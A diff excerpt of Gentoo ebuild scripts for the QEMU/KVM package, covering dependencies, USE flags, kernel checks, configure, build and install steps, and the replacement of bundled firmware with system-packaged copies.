rm "${ED}/usr/share/qemu/vgabios-cirrus.bin"
|
||||
rm "${ED}/usr/share/qemu/vgabios-qxl.bin"
|
||||
rm "${ED}/usr/share/qemu/vgabios-stdvga.bin"
|
||||
rm "${ED}/usr/share/qemu/vgabios-vmware.bin"
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
|
||||
dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin
|
||||
dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin
|
||||
dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin
|
||||
dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin
|
||||
dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin
|
||||
fi
|
||||
|
||||
# Remove sgabios since we're using the sgabios packaged one
|
||||
rm "${ED}/usr/share/qemu/sgabios.bin"
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
|
||||
dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin
|
||||
fi
|
||||
|
||||
# Remove iPXE since we're using the iPXE packaged one
|
||||
rm "${ED}"/usr/share/qemu/pxe-*.rom
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
|
||||
dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom
|
||||
dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom
|
||||
dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom
|
||||
dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom
|
||||
dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom
|
||||
dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom
|
||||
fi
|
||||
fi
|
||||
|
||||
qemu_support_kvm && readme.gentoo_create_doc
|
||||
}
|
||||
|
||||
pkg_postinst() {
|
||||
if qemu_support_kvm; then
|
||||
readme.gentoo_print_elog
|
||||
fi
|
||||
|
||||
if [[ -n ${softmmu_targets} ]] && use kernel_linux; then
|
||||
udev_reload
|
||||
fi
|
||||
|
||||
fcaps cap_net_admin /usr/libexec/qemu-bridge-helper
|
||||
}
|
||||
|
||||
pkg_info() {
|
||||
echo "Using:"
|
||||
echo " $(best_version app-emulation/spice-protocol)"
|
||||
echo " $(best_version sys-firmware/ipxe)"
|
||||
echo " $(best_version sys-firmware/seabios)"
|
||||
if has_version 'sys-firmware/seabios[binary]'; then
|
||||
echo " USE=binary"
|
||||
else
|
||||
echo " USE=''"
|
||||
fi
|
||||
echo " $(best_version sys-firmware/vgabios)"
|
||||
}
|
@ -1,677 +0,0 @@
|
||||
# Copyright 1999-2016 Gentoo Foundation
|
||||
# Distributed under the terms of the GNU General Public License v2
|
||||
|
||||
EAPI="5"
|
||||
|
||||
PYTHON_COMPAT=( python2_7 )
|
||||
PYTHON_REQ_USE="ncurses,readline"
|
||||
|
||||
PLOCALES="bg de_DE fr_FR hu it tr zh_CN"
|
||||
|
||||
inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \
|
||||
user udev fcaps readme.gentoo pax-utils l10n
|
||||
|
||||
if [[ ${PV} = *9999* ]]; then
|
||||
EGIT_REPO_URI="git://git.qemu.org/qemu.git"
|
||||
inherit git-2
|
||||
SRC_URI=""
|
||||
else
|
||||
SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2"
|
||||
KEYWORDS="~amd64 ~arm64 ~ppc ~ppc64 ~x86 ~x86-fbsd"
|
||||
fi
|
||||
|
||||
DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools"
|
||||
HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org"
|
||||
|
||||
LICENSE="GPL-2 LGPL-2 BSD-2"
|
||||
SLOT="0"
|
||||
IUSE="accessibility +aio alsa bluetooth bzip2 +caps +curl debug +fdt glusterfs \
|
||||
gnutls gtk gtk2 infiniband iscsi +jpeg \
|
||||
kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs
|
||||
+png pulseaudio python \
|
||||
rbd sasl +seccomp sdl sdl2 selinux smartcard snappy spice ssh static static-softmmu
|
||||
static-user systemtap tci test +threads usb usbredir +uuid vde +vhost-net \
|
||||
virgl virtfs +vnc vte xattr xen xfs"
|
||||
|
||||
COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips
|
||||
mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32
|
||||
x86_64"
|
||||
IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb tricore xtensa xtensaeb"
|
||||
IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 ppc64le sparc32plus tilegx"
|
||||
|
||||
use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS})
|
||||
use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS})
|
||||
IUSE+=" ${use_softmmu_targets} ${use_user_targets}"
|
||||
|
||||
# Allow no targets to be built so that people can get a tools-only build.
|
||||
# Block USE flag configurations known to not work.
|
||||
REQUIRED_USE="${PYTHON_REQUIRED_USE}
|
||||
gtk2? ( gtk )
|
||||
qemu_softmmu_targets_arm? ( fdt )
|
||||
qemu_softmmu_targets_microblaze? ( fdt )
|
||||
qemu_softmmu_targets_ppc? ( fdt )
|
||||
qemu_softmmu_targets_ppc64? ( fdt )
|
||||
sdl2? ( sdl )
|
||||
static? ( static-softmmu static-user )
|
||||
static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 )
|
||||
virtfs? ( xattr )
|
||||
vte? ( gtk )"
|
||||
|
||||
# Yep, you need both libcap and libcap-ng since virtfs only uses libcap.
|
||||
#
|
||||
# The attr lib isn't always linked in (although the USE flag is always
|
||||
# respected). This is because qemu supports using the C library's API
|
||||
# when available rather than always using the extranl library.
|
||||
#
|
||||
# Older versions of gnutls are supported, but it's simpler to just require
|
||||
# the latest versions. This is also why we require nettle.
|
||||
#
|
||||
# TODO: Split out tools deps into another var. e.g. bzip2 is only used by
|
||||
# system binaries and tools, not user binaries.
|
||||
COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)]
|
||||
sys-libs/zlib[static-libs(+)]
|
||||
bzip2? ( app-arch/bzip2[static-libs(+)] )
|
||||
xattr? ( sys-apps/attr[static-libs(+)] )"
|
||||
SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND}
|
||||
>=x11-libs/pixman-0.28.0[static-libs(+)]
|
||||
accessibility? ( app-accessibility/brltty[static-libs(+)] )
|
||||
aio? ( dev-libs/libaio[static-libs(+)] )
|
||||
alsa? ( >=media-libs/alsa-lib-1.0.13 )
|
||||
bluetooth? ( net-wireless/bluez )
|
||||
caps? ( sys-libs/libcap-ng[static-libs(+)] )
|
||||
curl? ( >=net-misc/curl-7.15.4[static-libs(+)] )
|
||||
fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] )
|
||||
glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] )
|
||||
gnutls? (
|
||||
dev-libs/nettle:=[static-libs(+)]
|
||||
>=net-libs/gnutls-3.0:=[static-libs(+)]
|
||||
)
|
||||
gtk? (
|
||||
gtk2? (
|
||||
x11-libs/gtk+:2
|
||||
vte? ( x11-libs/vte:0 )
|
||||
)
|
||||
!gtk2? (
|
||||
x11-libs/gtk+:3
|
||||
vte? ( x11-libs/vte:2.90 )
|
||||
)
|
||||
)
|
||||
infiniband? ( sys-fabric/librdmacm:=[static-libs(+)] )
|
||||
iscsi? ( net-libs/libiscsi )
|
||||
jpeg? ( virtual/jpeg:0=[static-libs(+)] )
|
||||
lzo? ( dev-libs/lzo:2[static-libs(+)] )
|
||||
ncurses? ( sys-libs/ncurses:0=[static-libs(+)] )
|
||||
nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] )
|
||||
numa? ( sys-process/numactl[static-libs(+)] )
|
||||
opengl? (
|
||||
virtual/opengl
|
||||
media-libs/libepoxy[static-libs(+)]
|
||||
media-libs/mesa[static-libs(+)]
|
||||
media-libs/mesa[egl,gles2]
|
||||
)
|
||||
png? ( media-libs/libpng:0=[static-libs(+)] )
|
||||
pulseaudio? ( media-sound/pulseaudio )
|
||||
rbd? ( sys-cluster/ceph[static-libs(+)] )
|
||||
sasl? ( dev-libs/cyrus-sasl[static-libs(+)] )
|
||||
sdl? (
|
||||
!sdl2? (
|
||||
media-libs/libsdl[X]
|
||||
>=media-libs/libsdl-1.2.11[static-libs(+)]
|
||||
)
|
||||
sdl2? (
|
||||
media-libs/libsdl2[X]
|
||||
media-libs/libsdl2[static-libs(+)]
|
||||
)
|
||||
)
|
||||
seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] )
|
||||
smartcard? ( >=app-emulation/libcacard-2.5.0[static-libs(+)] )
|
||||
snappy? ( app-arch/snappy[static-libs(+)] )
|
||||
spice? (
|
||||
>=app-emulation/spice-protocol-0.12.3
|
||||
>=app-emulation/spice-0.12.0[static-libs(+)]
|
||||
)
|
||||
ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] )
|
||||
usb? ( >=virtual/libusb-1-r2[static-libs(+)] )
|
||||
usbredir? ( >=sys-apps/usbredir-0.6[static-libs(+)] )
|
||||
uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] )
|
||||
vde? ( net-misc/vde[static-libs(+)] )
|
||||
virgl? ( media-libs/virglrenderer[static-libs(+)] )
|
||||
virtfs? ( sys-libs/libcap )
|
||||
xfs? ( sys-fs/xfsprogs[static-libs(+)] )"
|
||||
USER_LIB_DEPEND="${COMMON_LIB_DEPEND}"
|
||||
X86_FIRMWARE_DEPEND="
|
||||
>=sys-firmware/ipxe-1.0.0_p20130624
|
||||
pin-upstream-blobs? (
|
||||
~sys-firmware/seabios-1.8.2
|
||||
~sys-firmware/sgabios-0.1_pre8
|
||||
~sys-firmware/vgabios-0.7a
|
||||
)
|
||||
!pin-upstream-blobs? (
|
||||
sys-firmware/seabios
|
||||
sys-firmware/sgabios
|
||||
sys-firmware/vgabios
|
||||
)"
|
||||
CDEPEND="
|
||||
!static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) )
|
||||
!static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) )
|
||||
qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} )
|
||||
qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} )
|
||||
python? ( ${PYTHON_DEPS} )
|
||||
systemtap? ( dev-util/systemtap )
|
||||
xen? ( app-emulation/xen-tools:= )"
|
||||
DEPEND="${CDEPEND}
|
||||
dev-lang/perl
|
||||
=dev-lang/python-2*
|
||||
sys-apps/texinfo
|
||||
virtual/pkgconfig
|
||||
kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 )
|
||||
gtk? ( nls? ( sys-devel/gettext ) )
|
||||
static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) )
|
||||
static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) )
|
||||
test? (
|
||||
dev-libs/glib[utils]
|
||||
sys-devel/bc
|
||||
)"
|
||||
RDEPEND="${CDEPEND}
|
||||
selinux? ( sec-policy/selinux-qemu )
|
||||
"
|
||||
|
||||
STRIP_MASK="/usr/share/qemu/palcode-clipper"
|
||||
|
||||
QA_PREBUILT="
|
||||
usr/share/qemu/openbios-ppc
|
||||
usr/share/qemu/openbios-sparc64
|
||||
usr/share/qemu/openbios-sparc32
|
||||
usr/share/qemu/palcode-clipper
|
||||
usr/share/qemu/s390-ccw.img
|
||||
usr/share/qemu/u-boot.e500
|
||||
"
|
||||
|
||||
QA_WX_LOAD="usr/bin/qemu-i386
|
||||
usr/bin/qemu-x86_64
|
||||
usr/bin/qemu-alpha
|
||||
usr/bin/qemu-arm
|
||||
usr/bin/qemu-cris
|
||||
usr/bin/qemu-m68k
|
||||
usr/bin/qemu-microblaze
|
||||
usr/bin/qemu-microblazeel
|
||||
usr/bin/qemu-mips
|
||||
usr/bin/qemu-mipsel
|
||||
usr/bin/qemu-or32
|
||||
usr/bin/qemu-ppc
|
||||
usr/bin/qemu-ppc64
|
||||
usr/bin/qemu-ppc64abi32
|
||||
usr/bin/qemu-sh4
|
||||
usr/bin/qemu-sh4eb
|
||||
usr/bin/qemu-sparc
|
||||
usr/bin/qemu-sparc64
|
||||
usr/bin/qemu-armeb
|
||||
usr/bin/qemu-sparc32plus
|
||||
usr/bin/qemu-s390x
|
||||
usr/bin/qemu-unicore32"
|
||||
|
||||
DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure
|
||||
you have the kernel module loaded before running kvm. The easiest way to
|
||||
ensure that the kernel module is loaded is to load it on boot.\n
|
||||
For AMD CPUs the module is called 'kvm-amd'.\n
|
||||
For Intel CPUs the module is called 'kvm-intel'.\n
|
||||
Please review /etc/conf.d/modules for how to load these.\n\n
|
||||
Make sure your user is in the 'kvm' group\n
|
||||
Just run 'gpasswd -a <USER> kvm', then have <USER> re-login.\n\n
|
||||
For brand new installs, the default permissions on /dev/kvm might not let you
|
||||
access it. You can tell udev to reset ownership/perms:\n
|
||||
udevadm trigger -c add /dev/kvm"
|
||||
|
||||
qemu_support_kvm() {
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \
|
||||
use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \
|
||||
use qemu_softmmu_targets_s390x; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
pkg_pretend() {
|
||||
if use kernel_linux && kernel_is lt 2 6 25; then
|
||||
eerror "This version of KVM requres a host kernel of 2.6.25 or higher."
|
||||
elif use kernel_linux; then
|
||||
if ! linux_config_exists; then
|
||||
eerror "Unable to check your kernel for KVM support"
|
||||
else
|
||||
CONFIG_CHECK="~KVM ~TUN ~BRIDGE"
|
||||
ERROR_KVM="You must enable KVM in your kernel to continue"
|
||||
ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in"
|
||||
ERROR_KVM_AMD+=" your kernel configuration."
|
||||
ERROR_KVM_INTEL="If you have an Intel CPU, you must enable"
|
||||
ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration."
|
||||
ERROR_TUN="You will need the Universal TUN/TAP driver compiled"
|
||||
ERROR_TUN+=" into your kernel or loaded as a module to use the"
|
||||
ERROR_TUN+=" virtual network device if using -net tap."
|
||||
ERROR_BRIDGE="You will also need support for 802.1d"
|
||||
ERROR_BRIDGE+=" Ethernet Bridging for some network configurations."
|
||||
use vhost-net && CONFIG_CHECK+=" ~VHOST_NET"
|
||||
ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net"
|
||||
ERROR_VHOST_NET+=" support"
|
||||
|
||||
if use amd64 || use x86 || use amd64-linux || use x86-linux; then
|
||||
CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL"
|
||||
fi
|
||||
|
||||
use python && CONFIG_CHECK+=" ~DEBUG_FS"
|
||||
ERROR_DEBUG_FS="debugFS support required for kvm_stat"
|
||||
|
||||
# Now do the actual checks setup above
|
||||
check_extra_config
|
||||
fi
|
||||
fi
|
||||
|
||||
if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then
|
||||
eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt"
|
||||
eerror "instances are still pointing to it. Please update your"
|
||||
eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag"
|
||||
eerror "and the right system binary (e.g. qemu-system-x86_64)."
|
||||
die "update your virt configs to not use qemu-kvm"
|
||||
fi
|
||||
}
|
||||
|
||||
pkg_setup() {
|
||||
enewgroup kvm 78
|
||||
}
|
||||
|
||||
# Sanity check to make sure target lists are kept up-to-date.
|
||||
check_targets() {
|
||||
local var=$1 mak=$2
|
||||
local detected sorted
|
||||
|
||||
pushd "${S}"/default-configs >/dev/null || die
|
||||
|
||||
# Force C locale until glibc is updated. #564936
|
||||
detected=$(echo $(printf '%s\n' *-${mak}.mak | sed "s:-${mak}.mak::" | LC_COLLATE=C sort -u))
|
||||
sorted=$(echo $(printf '%s\n' ${!var} | LC_COLLATE=C sort -u))
|
||||
if [[ ${sorted} != "${detected}" ]] ; then
|
||||
eerror "The ebuild needs to be kept in sync."
|
||||
eerror "${var}: ${sorted}"
|
||||
eerror "$(printf '%-*s' ${#var} configure): ${detected}"
|
||||
die "sync ${var} to the list of targets"
|
||||
fi
|
||||
|
||||
popd >/dev/null
|
||||
}
|
||||
|
||||
handle_locales() {
|
||||
# Make sure locale list is kept up-to-date.
|
||||
local detected sorted
|
||||
detected=$(echo $(cd po && printf '%s\n' *.po | grep -v messages.po | sed 's:.po$::' | sort -u))
|
||||
sorted=$(echo $(printf '%s\n' ${PLOCALES} | sort -u))
|
||||
if [[ ${sorted} != "${detected}" ]] ; then
|
||||
eerror "The ebuild needs to be kept in sync."
|
||||
eerror "PLOCALES: ${sorted}"
|
||||
eerror " po/*.po: ${detected}"
|
||||
die "sync PLOCALES"
|
||||
fi
|
||||
|
||||
# Deal with selective install of locales.
|
||||
if use nls ; then
|
||||
# Delete locales the user does not want. #577814
|
||||
rm_loc() { rm po/$1.po || die; }
|
||||
l10n_for_each_disabled_locale_do rm_loc
|
||||
else
|
||||
# Cheap hack to disable gettext .mo generation.
|
||||
rm -f po/*.po
|
||||
fi
|
||||
}
|
||||
|
||||
src_prepare() {
|
||||
check_targets IUSE_SOFTMMU_TARGETS softmmu
|
||||
check_targets IUSE_USER_TARGETS linux-user
|
||||
|
||||
# Alter target makefiles to accept CFLAGS set via flag-o
|
||||
sed -i -r \
|
||||
-e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \
|
||||
Makefile Makefile.target || die
|
||||
|
||||
epatch "${FILESDIR}"/${PN}-2.5.0-cflags.patch
|
||||
epatch "${FILESDIR}"/${PN}-2.5.0-sysmacros.patch
|
||||
|
||||
# Fix ld and objcopy being called directly
|
||||
tc-export AR LD OBJCOPY
|
||||
|
||||
# Verbose builds
|
||||
MAKEOPTS+=" V=1"
|
||||
|
||||
epatch_user
|
||||
|
||||
# Run after we've applied all patches.
|
||||
handle_locales
|
||||
}
|
||||
|
||||
##
|
||||
# configures qemu based on the build directory and the build type
|
||||
# we are using.
|
||||
#
|
||||
qemu_src_configure() {
|
||||
debug-print-function ${FUNCNAME} "$@"
|
||||
|
||||
local buildtype=$1
|
||||
local builddir="${S}/${buildtype}-build"
|
||||
local static_flag="static-${buildtype}"
|
||||
|
||||
mkdir "${builddir}"
|
||||
|
||||
local conf_opts=(
|
||||
--prefix=/usr
|
||||
--sysconfdir=/etc
|
||||
--libdir=/usr/$(get_libdir)
|
||||
--docdir=/usr/share/doc/${PF}/html
|
||||
--disable-bsd-user
|
||||
--disable-guest-agent
|
||||
--disable-strip
|
||||
--disable-werror
|
||||
# We support gnutls/nettle for crypto operations. It is possible
|
||||
# to use gcrypt when gnutls/nettle are disabled (but not when they
|
||||
# are enabled), but it's not really worth the hassle. Disable it
|
||||
# all the time to avoid automatically detecting it. #568856
|
||||
--disable-gcrypt
|
||||
--python="${PYTHON}"
|
||||
--cc="$(tc-getCC)"
|
||||
--cxx="$(tc-getCXX)"
|
||||
--host-cc="$(tc-getBUILD_CC)"
|
||||
$(use_enable debug debug-info)
|
||||
$(use_enable debug debug-tcg)
|
||||
--enable-docs
|
||||
$(use_enable tci tcg-interpreter)
|
||||
$(use_enable xattr attr)
|
||||
)
|
||||
|
||||
# Disable options not used by user targets as the default configure
|
||||
# options will autoprobe and try to link in a bunch of unused junk.
|
||||
conf_softmmu() {
|
||||
if [[ ${buildtype} == "user" ]] ; then
|
||||
echo "--disable-${2:-$1}"
|
||||
else
|
||||
use_enable "$@"
|
||||
fi
|
||||
}
|
||||
conf_opts+=(
|
||||
$(conf_softmmu accessibility brlapi)
|
||||
$(conf_softmmu aio linux-aio)
|
||||
$(conf_softmmu bzip2)
|
||||
$(conf_softmmu bluetooth bluez)
|
||||
$(conf_softmmu caps cap-ng)
|
||||
$(conf_softmmu curl)
|
||||
$(conf_softmmu fdt)
|
||||
$(conf_softmmu glusterfs)
|
||||
$(conf_softmmu gnutls)
|
||||
$(conf_softmmu gnutls nettle)
|
||||
$(conf_softmmu gtk)
|
||||
$(conf_softmmu infiniband rdma)
|
||||
$(conf_softmmu iscsi libiscsi)
|
||||
$(conf_softmmu jpeg vnc-jpeg)
|
||||
$(conf_softmmu kernel_linux kvm)
|
||||
$(conf_softmmu lzo)
|
||||
$(conf_softmmu ncurses curses)
|
||||
$(conf_softmmu nfs libnfs)
|
||||
$(conf_softmmu numa)
|
||||
$(conf_softmmu opengl)
|
||||
$(conf_softmmu png vnc-png)
|
||||
$(conf_softmmu rbd)
|
||||
$(conf_softmmu sasl vnc-sasl)
|
||||
$(conf_softmmu sdl)
|
||||
$(conf_softmmu seccomp)
|
||||
$(conf_softmmu smartcard)
|
||||
$(conf_softmmu snappy)
|
||||
$(conf_softmmu spice)
|
||||
$(conf_softmmu ssh libssh2)
|
||||
$(conf_softmmu usb libusb)
|
||||
$(conf_softmmu usbredir usb-redir)
|
||||
$(conf_softmmu uuid)
|
||||
$(conf_softmmu vde)
|
||||
$(conf_softmmu vhost-net)
|
||||
$(conf_softmmu virgl virglrenderer)
|
||||
$(conf_softmmu virtfs)
|
||||
$(conf_softmmu vnc)
|
||||
$(conf_softmmu vte)
|
||||
$(conf_softmmu xen)
|
||||
$(conf_softmmu xen xen-pci-passthrough)
|
||||
$(conf_softmmu xfs xfsctl)
|
||||
)
|
||||
|
||||
case ${buildtype} in
|
||||
user)
|
||||
conf_opts+=(
|
||||
--enable-linux-user
|
||||
--disable-system
|
||||
--disable-blobs
|
||||
--disable-tools
|
||||
)
|
||||
;;
|
||||
softmmu)
|
||||
# audio options
|
||||
local audio_opts="oss"
|
||||
use alsa && audio_opts="alsa,${audio_opts}"
|
||||
use sdl && audio_opts="sdl,${audio_opts}"
|
||||
use pulseaudio && audio_opts="pa,${audio_opts}"
|
||||
|
||||
conf_opts+=(
|
||||
--disable-linux-user
|
||||
--enable-system
|
||||
--with-system-pixman
|
||||
--audio-drv-list="${audio_opts}"
|
||||
)
|
||||
use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) )
|
||||
use sdl && conf_opts+=( --with-sdlabi=$(usex sdl2 2.0 1.2) )
|
||||
;;
|
||||
tools)
|
||||
conf_opts+=(
|
||||
--disable-linux-user
|
||||
--disable-system
|
||||
--disable-blobs
|
||||
$(use_enable bzip2)
|
||||
)
|
||||
static_flag="static"
|
||||
;;
|
||||
esac
|
||||
|
||||
local targets="${buildtype}_targets"
|
||||
[[ -n ${targets} ]] && conf_opts+=( --target-list="${!targets}" )
|
||||
|
||||
# Add support for SystemTAP
|
||||
use systemtap && conf_opts+=( --enable-trace-backend=dtrace )
|
||||
|
||||
# We always want to attempt to build with PIE support as it results
|
||||
# in a more secure binary. But it doesn't work with static or if
|
||||
# the current GCC doesn't have PIE support.
|
||||
if use ${static_flag}; then
|
||||
conf_opts+=( --static --disable-pie )
|
||||
else
|
||||
gcc-specs-pie && conf_opts+=( --enable-pie )
|
||||
fi
|
||||
|
||||
echo "../configure ${conf_opts[*]}"
|
||||
cd "${builddir}"
|
||||
../configure "${conf_opts[@]}" || die "configure failed"
|
||||
|
||||
# FreeBSD's kernel does not support QEMU assigning/grabbing
|
||||
# host USB devices yet
|
||||
use kernel_FreeBSD && \
|
||||
sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak
|
||||
}
|
||||
|
||||
src_configure() {
|
||||
local target
|
||||
|
||||
python_setup
|
||||
|
||||
softmmu_targets= softmmu_bins=()
|
||||
user_targets= user_bins=()
|
||||
|
||||
for target in ${IUSE_SOFTMMU_TARGETS} ; do
|
||||
if use "qemu_softmmu_targets_${target}"; then
|
||||
softmmu_targets+=",${target}-softmmu"
|
||||
softmmu_bins+=( "qemu-system-${target}" )
|
||||
fi
|
||||
done
|
||||
|
||||
for target in ${IUSE_USER_TARGETS} ; do
|
||||
if use "qemu_user_targets_${target}"; then
|
||||
user_targets+=",${target}-linux-user"
|
||||
user_bins+=( "qemu-${target}" )
|
||||
fi
|
||||
done
|
||||
|
||||
softmmu_targets=${softmmu_targets#,}
|
||||
user_targets=${user_targets#,}
|
||||
|
||||
[[ -n ${softmmu_targets} ]] && qemu_src_configure "softmmu"
|
||||
[[ -n ${user_targets} ]] && qemu_src_configure "user"
|
||||
[[ -z ${softmmu_targets}${user_targets} ]] && qemu_src_configure "tools"
|
||||
}
|
||||
|
||||
src_compile() {
|
||||
if [[ -n ${user_targets} ]]; then
|
||||
cd "${S}/user-build"
|
||||
default
|
||||
fi
|
||||
|
||||
if [[ -n ${softmmu_targets} ]]; then
|
||||
cd "${S}/softmmu-build"
|
||||
default
|
||||
fi
|
||||
|
||||
if [[ -z ${softmmu_targets}${user_targets} ]]; then
|
||||
cd "${S}/tools-build"
|
||||
default
|
||||
fi
|
||||
}
|
||||
|
||||
src_test() {
|
||||
if [[ -n ${softmmu_targets} ]]; then
|
||||
cd "${S}/softmmu-build"
|
||||
pax-mark m */qemu-system-* #515550
|
||||
emake -j1 check
|
||||
emake -j1 check-report.html
|
||||
fi
|
||||
}
|
||||
|
||||
qemu_python_install() {
|
||||
python_domodule "${S}/scripts/qmp/qmp.py"
|
||||
|
||||
python_doscript "${S}/scripts/kvm/vmxcap"
|
||||
python_doscript "${S}/scripts/qmp/qmp-shell"
|
||||
python_doscript "${S}/scripts/qmp/qemu-ga-client"
|
||||
}
|
||||
|
||||
src_install() {
|
||||
if [[ -n ${user_targets} ]]; then
|
||||
cd "${S}/user-build"
|
||||
emake DESTDIR="${ED}" install
|
||||
|
||||
# Install binfmt handler init script for user targets
|
||||
newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt
|
||||
fi
|
||||
|
||||
if [[ -n ${softmmu_targets} ]]; then
|
||||
cd "${S}/softmmu-build"
|
||||
emake DESTDIR="${ED}" install
|
||||
|
||||
# This might not exist if the test failed. #512010
|
||||
[[ -e check-report.html ]] && dohtml check-report.html
|
||||
|
||||
if use kernel_linux; then
|
||||
udev_dorules "${FILESDIR}"/65-kvm.rules
|
||||
fi
|
||||
|
||||
if use python; then
|
||||
python_foreach_impl qemu_python_install
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ -z ${softmmu_targets}${user_targets} ]]; then
|
||||
cd "${S}/tools-build"
|
||||
emake DESTDIR="${ED}" install
|
||||
fi
|
||||
|
||||
# Disable mprotect on the qemu binaries as they use JITs to be fast #459348
|
||||
pushd "${ED}"/usr/bin >/dev/null
|
||||
pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}"
|
||||
popd >/dev/null
|
||||
|
||||
# Install config file example for qemu-bridge-helper
|
||||
insinto "/etc/qemu"
|
||||
doins "${FILESDIR}/bridge.conf"
|
||||
|
||||
# Remove the docdir placed qmp-commands.txt
|
||||
mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/" || die
|
||||
|
||||
cd "${S}"
|
||||
dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt
|
||||
newdoc pc-bios/README README.pc-bios
|
||||
dodoc docs/qmp-*.txt
|
||||
|
||||
if [[ -n ${softmmu_targets} ]]; then
|
||||
# Remove SeaBIOS since we're using the SeaBIOS packaged one
|
||||
rm "${ED}/usr/share/qemu/bios.bin"
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
|
||||
dosym ../seabios/bios.bin /usr/share/qemu/bios.bin
|
||||
fi
|
||||
|
||||
# Remove vgabios since we're using the vgabios packaged one
|
||||
rm "${ED}/usr/share/qemu/vgabios.bin"
|
||||
rm "${ED}/usr/share/qemu/vgabios-cirrus.bin"
|
||||
rm "${ED}/usr/share/qemu/vgabios-qxl.bin"
|
||||
rm "${ED}/usr/share/qemu/vgabios-stdvga.bin"
|
||||
rm "${ED}/usr/share/qemu/vgabios-vmware.bin"
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
|
||||
dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin
|
||||
dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin
|
||||
dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin
|
||||
dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin
|
||||
dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin
|
||||
fi
|
||||
|
||||
# Remove sgabios since we're using the sgabios packaged one
|
||||
rm "${ED}/usr/share/qemu/sgabios.bin"
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
|
||||
dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin
|
||||
fi
|
||||
|
||||
# Remove iPXE since we're using the iPXE packaged one
|
||||
rm "${ED}"/usr/share/qemu/pxe-*.rom
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
|
||||
dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom
|
